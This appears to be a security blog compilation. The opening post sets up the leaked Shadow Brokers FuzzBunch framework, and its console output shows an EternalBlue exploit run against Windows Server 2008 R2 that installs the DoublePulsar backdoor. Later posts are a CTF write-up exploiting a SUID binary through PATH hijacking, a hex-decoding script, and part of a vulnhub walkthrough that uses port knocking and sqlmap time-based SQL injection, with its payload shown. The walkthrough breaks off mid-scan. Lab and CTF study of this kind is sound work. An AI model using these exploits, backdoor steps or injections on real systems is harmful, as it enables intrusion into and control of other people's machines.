Playing with and Setting up exploit Framework from shadowbroker’s Dump

Hello there!
Over this weekend theshadowbrokers leaked some hacking tools. In this blog post we will see how to setup this framework and what are the prerequisite for successful exploitation using this framework.

We started our research by downloading the dump from the misterch0c/shadowbroker

Upon downloading, and fiddling around we came to know that the framework can be started by executing the file known as fb.py which is located at below mentioned path.
It required python2.6  as mentioned by some on the twitter.

ShadowBroker1

We were running this on win7 32bit system. On executing the above mentioned file, we got few errors. On googling the errors we found out that pywin32 library was missing and we needed to install it in order to get rid of that error.

C:\Users\User\Desktop\ShadowBroker\shadowbroker-master\windows>python fb.py
Traceback (most recent call last):
  File "fb.py", line 37, in <module>
    from fuzzbunch.edfplugin import EDFPlugin
  File "C:\Users\User\Desktop\ShadowBroker\shadowbroker-master\windows\fuzzbun
ch\edfplugin.py", line 5, in <module>
    import edfexecution
  File "C:\Users\User\Desktop\ShadowBroker\shadowbroker-master\windows\fuzzbun
ch\edfexecution.py", line 30, in <module>
    import win32pipe
ImportError: No module named win32pipe

We tried installing the 221 build of pywin32, but we faced some errors again. We received error r6034, and some other error related to missing dll. A quick search pointed out that running pywin32_postinstall.py file from c:\python26\Scripts with administrative privileges solves the issue.

C:\Python26\Scripts>python pywin32_postinstall.py
pywin32_postinstall.py: A post-install script for the pywin32 extensions.

This should be run automatically after installation, but if it fails you
can run it again with a '-install' parameter, to ensure the environment
is setup correctly.

Additional Options:
  -wait pid : Wait for the specified process to terminate before starting.
  -silent   : Don't display the "Abort/Retry/Ignore" dialog for files in use.
  -quiet    : Don't display progress messages.

C:\Python26\Scripts>python pywin32_postinstall.py -install
Copied pythoncom26.dll to C:\Windows\system32\pythoncom26.dll
Copied pythoncomloader26.dll to C:\Windows\system32\pythoncomloader26.dll
Copied pywintypes26.dll to C:\Windows\system32\pywintypes26.dll
Registered: Python.Interpreter
Registered: Python.Dictionary
Registered: Python
-> Software\Python\PythonCore\2.6\Help[None]=None
-> Software\Python\PythonCore\2.6\Help\Pythonwin Reference[None]='C:\\Python26\\
Lib\\site-packages\\PyWin32.chm'
Pythonwin has been registered in context menu
Creating directory C:\Python26\Lib\site-packages\win32com\gen_py
Shortcut for Pythonwin created
Shortcut to documentation created
The pywin32 extensions were successfully installed.

We once again tried running fb.py and we received another error as shown below.

C:\Users\User\Desktop\ShadowBroker\shadowbroker-master\windows>python fb.py

--[ Version 3.5.1

[*] Loading Plugins
===============================================================
=
= Encountered an unhandled error. Please provide the following
= information to the developer
=
===============================================================
Traceback (most recent call last):
 File "C:\Users\User\Desktop\ShadowBroker\shadowbroker-master\windows\fuzzbun
ch\exception.py", line 66, in wrap
 ret = fn(*args, **kwargs)
 File "fb.py", line 83, in setup_and_run
 load_plugins(fb)
 File "fb.py", line 72, in load_plugins
 addplugins(fb, "ListeningPost", LP_DIR, EDFPlugin)
 File "C:\Users\User\Desktop\ShadowBroker\shadowbroker-master\windows\fuzzbun
ch\pluginfinder.py", line 78, in addplugins
 plugins = getpluginlist(location, bin)
 File "C:\Users\User\Desktop\ShadowBroker\shadowbroker-master\windows\fuzzbun
ch\pluginfinder.py", line 36, in getpluginlist
 fblist = getextensionfiles(location, FB_CONFIG_EXT) # get list o
f .fb files
 File "C:\Users\User\Desktop\ShadowBroker\shadowbroker-master\windows\fuzzbun
ch\pluginfinder.py", line 21, in getextensionfiles
 for file in os.listdir(location)
WindowsError: [Error 3] The system cannot find the path specified: 'C:\\Users\\M
VnD3X\\Desktop\\ShadowBroker\\shadowbroker-master\\windows\\listeningposts/*.*'

C:\Users\User\Desktop\ShadowBroker\shadowbroker-master\windows>

We created a folder as it was searching for one with the name listeningposts and ran the script again and this time we were successful. Output of it is shown below:

C:\Users\User\Desktop\ShadowBroker\shadowbroker-master\windows>python fb.py

--[ Version 3.5.1

[*] Loading Plugins
[*] Initializing Fuzzbunch v3.5.1
[*] Adding Global Variables
[+] Set ResourcesDir => D:\DSZOPSDISK\Resources
[+] Set Color => True
[+] Set ShowHiddenParameters => False
[+] Set NetworkTimeout => 60
[+] Set LogDir => D:\logs
[*] Autorun ON

ImplantConfig Autorun List
==========================

  0) prompt confirm
  1) execute


Exploit Autorun List
====================

  0) apply
  1) touch all
  2) prompt confirm
  3) execute


Special Autorun List
====================

  0) apply
  1) touch all
  2) prompt confirm
  3) execute


Payload Autorun List
====================

  0) apply
  1) prompt confirm
  2) execute


[+] Set FbStorage => C:\Users\User\Desktop\ShadowBroker\shadowbroker-master\wi
ndows\storage

[*] Retargetting Session

[?] Default Target IP Address [] : 192.168.99.102
[?] Default Callback IP Address [] : 192.168.99.101
[?] Use Redirection [yes] : no

[?] Base Log directory [D:\logs] : C:\Users\User\Desktop\Logs S
[*] Checking C:\Users\User\Desktop\Logs S for projects
Index     Project
-----     -------
0         Create a New Project

[?] Project [0] : Test
Index     Project
-----     -------
0         Create a New Project

[?] Project [0] : 0
[?] New Project Name : Test
[?] Set target log directory to 'C:\Users\User\Desktop\Logs S\test\z192.168.99
.102'? [Yes] : yes

[*] Initializing Global State
[+] Set TargetIp => 192.168.99.102
[+] Set CallbackIp => 192.168.99.101

[!] Redirection OFF
[+] Set LogDir => C:\Users\User\Desktop\Logs S\test\z192.168.99.102
[+] Set Project => test

fb > help

Core Commands
=============

  Command         Description
  -------         -----------
  !               Shortcut for shell
  ?               Shortcut for help
  autorun         Set autorun mode
  back            Leave the current context back to the default
  banner          Print the startup banner
  changeprompt    Change the command prompt
  echo            Echo a message
  enter           Enter the context of a plugin
  eof             Quit program (CTRL-D)
  exit            Alias for back
  help            Print out help
  history         Run a previous command.
  info            Print information about the current context
  mark            Mark a session item
  python          Drop to an interactive Python interpreter
  quit            Quit fuzzbunch
  redirect        Configure redirection
  resizeconsole   None
  retarget        Set basic target info
  script          Run a script
  session         Show session items
  setg            Set a global variable
  shell           Execute a shell command
  show            Show plugin info
  sleep           Sleep for n seconds
  standardop      Print standard OP usage message
  toolpaste       Paste and convert data from external tool output
  unsetg          Unset a global variable
  use             Activate a plugin for use and enter context

fb >

We immediately tried running eternalblue exploit against w2k8 R2 and it worked nicely.

fb Special (Eternalblue) > use Eternalblue
[!] Entering Plugin Context :: Eternalblue
[*] Applying Global Variables
[+] Set NetworkTimeout => 60
[+] Set TargetIp => 172.28.128.5
[*] Applying Session Parameters
[*] Running Exploit Touches
[!] Enter Prompt Mode :: Eternalblue
Module: Eternalblue
===================
Name                  Value
----                  -----
NetworkTimeout        60
TargetIp              172.28.128.5
TargetPort            445
VerifyTarget          True
VerifyBackdoor        True
MaxExploitAttempts    3
GroomAllocations      12
Target                WIN72K8R2

[!] plugin variables are valid
[?] Prompt For Variable Settings? [Yes] :

[*]  NetworkTimeout :: Timeout for blocking network calls (in seconds). Use -1 f
or no timeout.
[?] NetworkTimeout [60] :

[*]  TargetIp :: Target IP Address
[?] TargetIp [172.28.128.5] :

[*]  TargetPort :: Port used by the SMB service for exploit connection
[?] TargetPort [445] :

[*]  VerifyTarget :: Validate the SMB string from target against the target sele
cted before exploitation.
[?] VerifyTarget [True] :

[*]  VerifyBackdoor :: Validate the presence of the DOUBLE PULSAR backdoor befor
e throwing. This option must be enabled for multiple exploit attempts.
[?] VerifyBackdoor [True] :

[*]  MaxExploitAttempts :: Number of times to attempt the exploit and groom. Dis
abled for XP/2K3.
[?] MaxExploitAttempts [3] :

[*]  GroomAllocations :: Number of large SMBv2 buffers (Vista+) or SessionSetup
allocations (XK/2K3) to do.
[?] GroomAllocations [12] :

[*]  Target :: Operating System, Service Pack, and Architecture of target OS
    0) XP            Windows XP 32-Bit All Service Packs
   *1) WIN72K8R2     Windows 7 and 2008 R2 32-Bit and 64-Bit All Service Packs

[?] Target [1] :
[!] Preparing to Execute Eternalblue
[*]  Mode :: Delivery mechanism
   *0) DANE     Forward deployment via DARINGNEOPHYTE
    1) FB       Traditional deployment from within FUZZBUNCH

[?] Mode [0] : 1
[+] Run Mode: FB
[?] This will execute locally like traditional Fuzzbunch plugins. Are you sure?
(y/n) [Yes] :

[*] Redirection OFF
[+] Configure Plugin Local Tunnels
[+] Local Tunnel - local-tunnel-1

[?] Destination IP [172.28.128.5] :
[?] Destination Port [445] :

[+] (TCP) Local 172.28.128.5:445
[+] Configure Plugin Remote Tunnels
Module: Eternalblue
===================
Name                  Value
----                  -----
DaveProxyPort         0
NetworkTimeout        60
TargetIp              172.28.128.5
TargetPort            445
VerifyTarget          True
VerifyBackdoor        True
MaxExploitAttempts    3
GroomAllocations      12
ShellcodeBuffer
Target                WIN72K8R2

[?] Execute Plugin? [Yes] :
[*] Executing Plugin
[*] Connecting to target for exploitation.
    [+] Connection established for exploitation.
[*] Pinging backdoor...
    [+] Backdoor not installed, game on.
[*] Target OS selected valid for OS indicated by SMB reply
[*] CORE raw buffer dump (52 bytes):
0x00000000  57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32  Windows Server 2
0x00000010  30 30 38 20 52 32 20 53 74 61 6e 64 61 72 64 20  008 R2 Standard
0x00000020  37 36 30 31 20 53 65 72 76 69 63 65 20 50 61 63  7601 Service Pac
0x00000030  6b 20 31 00                                      k 1.
[*] Building exploit buffer
[*] Sending all but last fragment of exploit packet
    ................DONE.
[*] Sending SMB Echo request
[*] Good reply from SMB Echo request
[*] Starting non-paged pool grooming
    [+] Sending SMBv2 buffers
        .............DONE.
    [+] Sending large SMBv1 buffer..DONE.
    [+] Sending final SMBv2 buffers......DONE.
    [+] Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] Sending SMB Echo request
[*] Good reply from SMB Echo request
[*] Sending last fragment of exploit packet!
    DONE.
[*] Receiving response from exploit packet
    [+] ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] Sending egg to corrupted connection.
[*] Triggering free of corrupted buffer.
[*] Pinging backdoor...
    [+] Backdoor NOT installed
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Trying again with 17 Groom Allocations
[*] Connecting to target for exploitation.
    [+] Connection established for exploitation.
[*] Pinging backdoor...
    [+] Backdoor not installed, game on.
[*] Target OS selected valid for OS indicated by SMB reply
[*] CORE raw buffer dump (52 bytes):
0x00000000  57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32  Windows Server 2
0x00000010  30 30 38 20 52 32 20 53 74 61 6e 64 61 72 64 20  008 R2 Standard
0x00000020  37 36 30 31 20 53 65 72 76 69 63 65 20 50 61 63  7601 Service Pac
0x00000030  6b 20 31 00                                      k 1.
[*] Building exploit buffer
[*] Sending all but last fragment of exploit packet
    ................DONE.
[*] Sending SMB Echo request
[*] Good reply from SMB Echo request
[*] Starting non-paged pool grooming
    [+] Sending SMBv2 buffers
        ..................DONE.
    [+] Sending large SMBv1 buffer..DONE.
    [+] Sending final SMBv2 buffers......DONE.
    [+] Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] Sending SMB Echo request
[*] Good reply from SMB Echo request
[*] Sending last fragment of exploit packet!
    DONE.
[*] Receiving response from exploit packet
    [+] ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] Sending egg to corrupted connection.
[*] Triggering free of corrupted buffer.
[*] Pinging backdoor...
    [+] Backdoor returned code: 10 - Success!
    [+] Ping returned Target architecture: x64 (64-bit)
    [+] Backdoor installed
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] CORE sent serialized output blob (2 bytes):
0x00000000  08 00                                            ..
[*] Received output parameters from CORE
[+] CORE terminated with status code 0x00000000
[+] Eternalblue Succeeded

fb Special (Eternalblue) >
fb Special (Eternalblue) > use Doublepulsar
[!] Entering Plugin Context :: Doublepulsar
[*] Applying Global Variables
[+] Set NetworkTimeout => 60
[+] Set TargetIp => 172.28.128.5
[*] Applying Session Parameters
[!] Enter Prompt Mode :: Doublepulsar
Module: Doublepulsar
====================
Name              Value
----              -----
NetworkTimeout    60
TargetIp          172.28.128.5
TargetPort        445
Protocol          SMB
Architecture      x64
Function          Ping

[!] plugin variables are valid
[?] Prompt For Variable Settings? [Yes] :
[*]  NetworkTimeout :: Timeout for blocking network calls (in seconds).  Use -1
for no timeout.
[?] NetworkTimeout [60] :

[*]  TargetIp :: Target IP Address
[?] TargetIp [172.28.128.5] :

[*]  TargetPort :: Port used by the Double Pulsar back door
[?] TargetPort [445] :

[*]  Protocol :: Protocol for the backdoor to speak
   *0) SMB     Ring 0 SMB (TCP 445) backdoor
    1) RDP     Ring 0 RDP (TCP 3389) backdoor
[?] Protocol [0] :
[*]  Architecture :: Architecture of the target OS
    0) x86     x86 32-bits
   *1) x64     x64 64-bits
[?] Architecture [1] :

[*]  Function :: Operation for backdoor to perform
    0) OutputInstall     Only output the install shellcode to a binary file on d
isk.
   *1) Ping              Test for presence of backdoor
    2) RunDLL            Use an APC to inject a DLL into a user mode process.
    3) RunShellcode      Run raw shellcode
    4) Uninstall         Remove's backdoor from system

[?] Function [1] :

[!] Preparing to Execute Doublepulsar
[*] Redirection OFF
[+] Configure Plugin Local Tunnels
[+] Local Tunnel - local-tunnel-1

[?] Destination IP [172.28.128.5] :
[?] Destination Port [445] :
[+] (TCP) Local 172.28.128.5:445
[+] Configure Plugin Remote Tunnels
Module: Doublepulsar
====================
Name              Value
----              -----
NetworkTimeout    60
TargetIp          172.28.128.5
TargetPort        445
Protocol          SMB
Architecture      x64
Function          Ping

[?] Execute Plugin? [Yes] :
[*] Executing Plugin
[+] Selected Protocol SMB
[.] Connecting to target...
[+] Connected to target, pinging backdoor...
        [+] Backdoor returned code: 10 - Success!
        [+] Ping returned Target architecture: x64 (64-bit) - XOR Key: 0x3C51F76
3
    SMB Connection string is: Windows Server 2008 R2 Standard 7601 Service Pack
1
    Target OS is: 2008 R2 x64
    Target SP is: 1
        [+] Backdoor installed
        [+] Command completed successfully
[+] Doublepulsar Succeeded

fb Payload (Doublepulsar) >


Note: We are currently playing with the exploits as we get time and we may come up with a walkthrough for a few. Currently eternalblue works out of the box and installs doublepulsar as shown above.

Advertisements

INS’HACK – lsEasy – PWN 75

I gave a try to one of the CTF events happening over the weekend – INS’HACK. This is a walk-through for one of the challenges. The challenge was pretty straight forward as I was aware of the technique to be used here, but there was small issue to sort out.

Challenge
My shower won't give me warm water :/ maybe it's an hacker? :o Could you help me?
ssh <you_ssh_user>@pwn1.ctf.insecurity-insa.fr

I logged in with the credentials provided and found the below files in the directory.

user380@InSHackNoASLR:~$ ls -l
total 16
-r--r----- 1 root level1ok 23 Mar 21 20:20 flag
-rwxr-sr-x 1 root level1ok 7337 Mar 23 20:22 vuln
-r--r--r-- 1 root root 108 Mar 23 20:20 vuln.c
user380@InSHackNoASLR:~$cat vuln.c 
#include <stdio.h>
void main()
{
 printf("The content of the current folder is : \n");
 system("ls -l");
}
user380@InSHackNoASLR:~$ ./vuln 
The content of the current folder is : 
total 16
-r--r----- 1 root level1ok 23 Mar 21 20:20 flag
-rwxr-sr-x 1 root level1ok 7337 Mar 23 20:22 vuln
-r--r--r-- 1 root root 108 Mar 23 20:20 vuln.c
user380@InSHackNoASLR:~$

We see SUID bit set on the vuln binary file and the corresponding C program. Since vuln binary and the flag was readable by the same group, we would be using the binary to read the file flag to which we do not have read permissions as current user.
Although the challenge files were provided as a zip file they were not of interest as the fun was on the server.
From the C program it was clear that the system() function call was used to display the contents of the current directory using ls -l. Since the path to the ls is not hard coded we could create a binary file with the name “ls -l” and use the environment variable PATH to point to it.

I assumed that the I would have the write permission in my current directory but it  was not to be so :/

user380@InSHackNoASLR:~$ touch "ls -l"
touch: cannot touch ‘ls -l’: Permission denied

But hey, we have the tmp directory, who cares about CWD 😉 But again it felt it was not to be so. Damn!

user380@InSHackNoASLR:~$ touch /tmp/a
touch: setting times of ‘/tmp/a’: Permission denied
user380@InSHackNoASLR:~$ ls -l /tmp/
ls: cannot open directory /tmp/: Permission denied

I quickly checked the permissions for tmp directory.

user380@InSHackNoASLR:~$ ls -l /
total 92
drwxr-xr-x   2 root root  4096 Mar 24 15:49 bin
------snip-----------------------
dr-xr-xr-x 13 root root 0 Apr 6 22:57 sys
drwx-wx-wt 292 root root 12288 Apr 9 13:08 tmp
drwxr-xr-x 10 root root 4096 Dec 27 04:25 usr
drwxr-xr-x 12 root root 4096 Dec 27 04:33 var
lrwxrwxrwx 1 root root 29 Apr 6 22:29 vmlinuz -> boot/vmlinuz-4.4.0-72-generic
lrwxrwxrwx 1 root root 29 Dec 27 04:27 vmlinuz.old -> boot/vmlinuz-4.4.0-31-generic

We did not have the read permission on the directory and a sticky bit was set on it and hence the above errors. But we do have write permissions which is all we need :). I did confirm that with a bit of googling. But why did the touch fail? It had to… the file was already present. That is what the sticky bit is meant to prevent – editing, deleting of files created by other users. Although it turns out “a” was directory. Below is the hint.

user380@InSHackNoASLR:/tmp$ echo "a" > a
-bash: a: Is a directory

I also assumed that some one must have already created the “ls -l” file as well than and I was correct about it.

user380@InSHackNoASLR:/tmp$ echo "aa" > "ls -l"
-bash: ls -l: Permission denied
user380@InSHackNoASLR:/tmp$ cat "ls -l"
cat /challenge/level1/flag

I quickly moved on to edit the ENV variable to point to tmp first. I executed the binary and to my surprise it launched the nano editor for me instead of reading the flag.

user380@InSHackNoASLR:/tmp$ export PATH=/tmp:$PATH
user380@InSHackNoASLR:/tmp$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
user380@InSHackNoASLR:/tmp$ 
user380@InSHackNoASLR:~$ ./vuln 
The content of the current folder is :

I tried a couple of times again but with same results. Then I looked if /bin/cat was symlinked to nano, but it wasn’t. Than I realized that its possible that someone must have created the cat binary as well in the tmp directory and forgot to delete it? or left it as it is purposely? or challenge creators did it deliberately as another hurdle. The situation was as below.

user380@InSHackNoASLR:~$ cat /tmp/cat
#!/bin/sh
cat flag

Either ways we were not able to use the tmp directory. So which one is left? Off course /var/tmp. I quickly created the ls -l binary and prepended the /var/tmp  to the PATH variable. Executed the binary and now I had the flag 🙂

user380@InSHackNoASLR:/var/tmp$ echo "cat /challenge/level1/flag" > "ls -l"
user380@InSHackNoASLR:/var/tmp$ cat "ls -l"
cat /challenge/level1/flag
user380@InSHackNoASLR:/var/tmp$ export PATH=/var/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
user380@InSHackNoASLR:/var/tmp$ cd 
user380@InSHackNoASLR:~$ ./vuln 
The content of the current folder is : 
The content of the current folder is : 
INSA{SySt3m_1s_3v1l_-}
user380@InSHackNoASLR:~$

Code Snippets – Hex to ASCII

Hello again!
It was some time since my last post, so I decided to write a post about a simple script which I had written recently while trying to decode an attack which was thrown at me 😀

Below script searches and converts each occurrence of the hex into its ASCII equivalent. e.g. \x0a will be converted to \n and \x7A will be converted to z. File contents need not be hex characters only, it can be anything random with some hex characters in it.
It can easily be edited to check and replace hex characters in format 0x7A, but i will leave that for you to do. 🙂

Script is written in python and uses inbuilt modules, re and binascii for regex and hex conversions respectively. Input to the script is filename via command line argument. The script can be made much more simple to understand by dividing the regex match and conversion into different functions but i chose to write it as short as possible. That helped me learn a couple of things on the way. For sure there will be better, shorter, smarter implementations of this out on the internet, but that should not stop you from writing your own. 😉

Below is the script. Hopefully, you will find it helpful 🙂
Cheers!!!

import sys, binascii, re

def decode(filename):
 with open(filename, 'r') as file_content: #open file
 content = file_content.read() #read file content
 #regex for matching hex numbers eg \x0A
 pattern = re.compile(r'\\x[0-9A-Fa-f][0-9A-Fa-f]')

# Substitute each occurance of hex numbers with ASCII equivalent
 string = re.sub(r'\\x[0-9A-Fa-f][0-9A-Fa-f]', lambda L: binascii.unhexlify((L.group().split('x')[1])), content)

 print string # print the output

decode(sys.argv[1]) # commandline argument of file

 

The Return of the King to become the lord of the R00t

This post is a walk-through for a VM “Lord of the Root” from vulnhub. The interesting thing about this post is that along with the solution, this post will also focus on different approaches I tried and the hindrances I faced while trying those approaches. So, let the hacking begin!!!!

I used Kali VM box as attacker with IP address 192.168.56.102. Vulnerable VM will be assigned IP address dynamically. The first and foremost step was to find out IP address of the vulnerable machine.  Run netdiscover with -r option and give the IP range, it will discover all the host which are up. Upon doing so I came to know that target’s IP address was 192.168.56.101. Now what? Off course scan that target for open ports and services. One important point to note over here is that before scanning any system it is a good practice to check if the ping is enabled or disabled on the given system, by knowing this tiny yet valueable information one can construct his nmap query accordingly for accurate results. So, the ping was disabled on the target system so I fired following query

root@kali:~# nmap -sV -Pn 192.168.56.101

Starting Nmap 7.01 ( https://nmap.org ) at 2016-11-16 21:57 IST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.101
Host is up (0.00075s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.0)
MAC Address: 08:00:27:6C:CF:6B (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.46 seconds

As you see in the output, only SSH port was open running OpenSSH 6.6.1p1 service. The first thing I tried was using hydra to brute force the SSH user name and password, but there was no luck in that. The following message was the hint when I tried connecting to the SSH service.

ssh root@192.168.56.101

.____ _____________________________
 | | \_____ \__ ___/\______ \
 | | / | \| | | _/
 | |___/ | \ | | | \
 |_______ \_______ /____| |____|_ /
 \/ \/ \/
 ____ __. __ ___________ .__ .___ ___________ ___________ __
| |/ _| ____ ____ ____ | | __ \_ _____/______|__| ____ ____ __| _/ \__ ___/___ \_ _____/ _____/ |_ ___________
| < / \ / _ \_/ ___\| |/ / | __) \_ __ \ |/ __ \ / \ / __ | | | / _ \ | __)_ / \ __\/ __ \_ __ \
| | \| | ( <_> ) \___| < | \ | | \/ \ ___/| | \/ /_/ | | |( <_> ) | \ | \ | \ ___/| | \/
|____|__ \___| /\____/ \___ >__|_ \ \___ / |__| |__|\___ >___| /\____ | |____| \____/ /_______ /___| /__| \___ >__|
 \/ \/ \/ \/ \/ \/ \/ \/ \/ \/ \/
Easy as 1,2,3
root@192.168.56.101's password:

I tried googling that message against SSH for example: SSH 1,2,3, SSH friend, SSH Knock. Upon searching the last term, I came across the concept known as port knocking. Upon learning the concept, I tried following command to port knock the system

nmap -sV -Pn -r 192.168.56.101 -p 1,2,3

Starting Nmap 7.01 ( https://nmap.org ) at 2016-11-16 22:17 IST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.101
Host is up (0.00051s latency).
PORT STATE SERVICE VERSION
1/tcp filtered tcpmux
2/tcp filtered compressnet
3/tcp filtered compressnet
MAC Address: 08:00:27:6C:CF:6B (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 4.26 seconds

Note: -r –> Scan ports consecutively don’t randomize

Once again nmap scan was used to find out if any other ports were opened after port knocking.

root@kali:~# nmap -sV -Pn 192.168.56.101 -p1-65535

Starting Nmap 7.01 ( https://nmap.org ) at 2016-11-16 23:27 IST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.101
Host is up (0.00061s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.0)
1337/tcp open http Apache httpd 2.4.7 ((Ubuntu))
MAC Address: 08:00:27:6C:CF:6B (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 120.34 seconds

Note :
-sV –> probe open ports to determine service version info.
-Pn –> treat all host as online or disable ping.

As we see in the output port 1337 is open. I tried visiting that port via browser and stumbled upon following web page. Tried looking at the source but there wasn’t anything special.

screenshot-from-2017-01-26-23-16-24

Upon doing quick scan with dir buster on https://192.168.56.101:1337/, I found the image directory which was accessible on the server. Image directory had following two additional images along with the above images.


Since i wanted to view the source code of an HTML page i tired changing each of their extension from .jpg  to .html and surprisingly all of them directed me to only one HTML page.

screenshot-from-2017-01-26-23-46-44

Upon looking at the source code I came across base64 string

THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh

I tried decoding it. The result was another string. Upon decoding the second string there was a .php address. Screen shot shown below  CHANGE

root@kali:~# echo "THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh" | base64 -d
Lzk3ODM0NTIxMC9pbmRleC5waHA= Closer!

root@kali:~# echo "Lzk3ODM0NTIxMC9pbmRleC5waHA= Closer!" | base64 -d
/978345210/index.phpbase64: invalid input

I entered the above address in my web browser as follows http://192.168.56.101:1337/ /978345210/index.php and viola! I was at the gate of Mordor.

mordor

Now what.? off course I had to find our way out by exploiting the this login page and only possible solution was via SQL injection (that’s the only way I know as of now :P). So I tried to use SQLMap. The first step was to determine if there is any SQL injection present here. If yes, which is that parameter from where we can inject our payload. Once that is done the other part was to enumerate the databases present (if any ) down under. So here was the command which I used.

root@kali:~/Downloads# sqlmap -o -u "http://192.168.56.101:1337/978345210/index.php" --level 5 --risk 3 --forms --dbs
 ___
 __H__
 ___ ___[,]_____ ___ ___ {1.0.12#stable}
|_ -| . ['] | .'| . |
|___|_ [']_|_|_|__,| _|
 |_|V |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 02:10:40

[02:10:40] [INFO] testing connection to the target URL
[02:10:40] [INFO] heuristics detected web page charset 'ascii'
[02:10:40] [INFO] searching for forms
[#1] form:
POST http://192.168.56.101:1337/978345210/index.php
POST data: username=&password=&submit=%20Login%20
do you want to test this form? [Y/n/q] 
> Y
Edit POST data [default: username=&password=&submit=%20Login%20] (Warning: blank fields detected): 
do you want to fill blank fields with random values? [Y/n] Y
it appears that provided value for POST parameter 'submit' has boundaries. Do you want to inject inside? (' Login* ') [y/N] N
[02:11:00] [INFO] using '/root/.sqlmap/output/results-12122016_0211am.csv' as the CSV results file in multiple targets mode
[02:11:00] [INFO] heuristics detected web page charset 'ascii'
[02:11:00] [INFO] testing if the target URL is stable
[02:11:01] [INFO] target URL is stable
[02:17:58] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
[02:18:01] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind'
[02:18:04] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (comment)'
Parameter: password (POST)
 Type: AND/OR time-based blind
 Title: MySQL >= 5.0.12 AND time-based blind
 Payload: username=bczG&password='||(SELECT 'LJkm' FROM DUAL WHERE 1175=1175 AND SLEEP(5))||'&submit= Login
---
do you want to exploit this SQL injection? [Y/n] Y
[02:50:06] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.0.12
[02:50:06] [INFO] fetching database names
[02:50:06] [INFO] fetching number of databases
[02:50:06] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done) 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[02:50:46] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
4
[02:50:46] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done) 
[02:51:39] [INFO] adjusting time delay to 1 second due to good response times
information_schema
[02:56:21] [INFO] retrieved: Webapp
[02:58:04] [INFO] retrieved: mysql
[02:59:26] [INFO] retrieved: performance_schema
available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] Webapp

[03:04:09] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/root/.sqlmap/output/results-12122016_0211am.csv'

[*] shutting down at 03:04:09

So, as we can see there was valuable information given back to us. Importantly: SQL injection is present in the password parameter, under lying database is MySQL and thirdly the database information. As we can see there are 4 databases present on the underlying system. I tired all three of then and found nothing but the fourth one was interesting. So the next obvious step was to determines the tables present in Webapp database. I used following command to determine that

root@kali:~/Downloads# sqlmap -o -u "http://192.168.56.101:1337/978345210/index.php" --forms -D Webapp --tables
 ___
 __H__
 ___ ___["]_____ ___ ___ {1.0.12#stable}
|_ -| . [)] | .'| . |
|___|_ [)]_|_|_|__,| _|
 |_|V |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 05:35:45

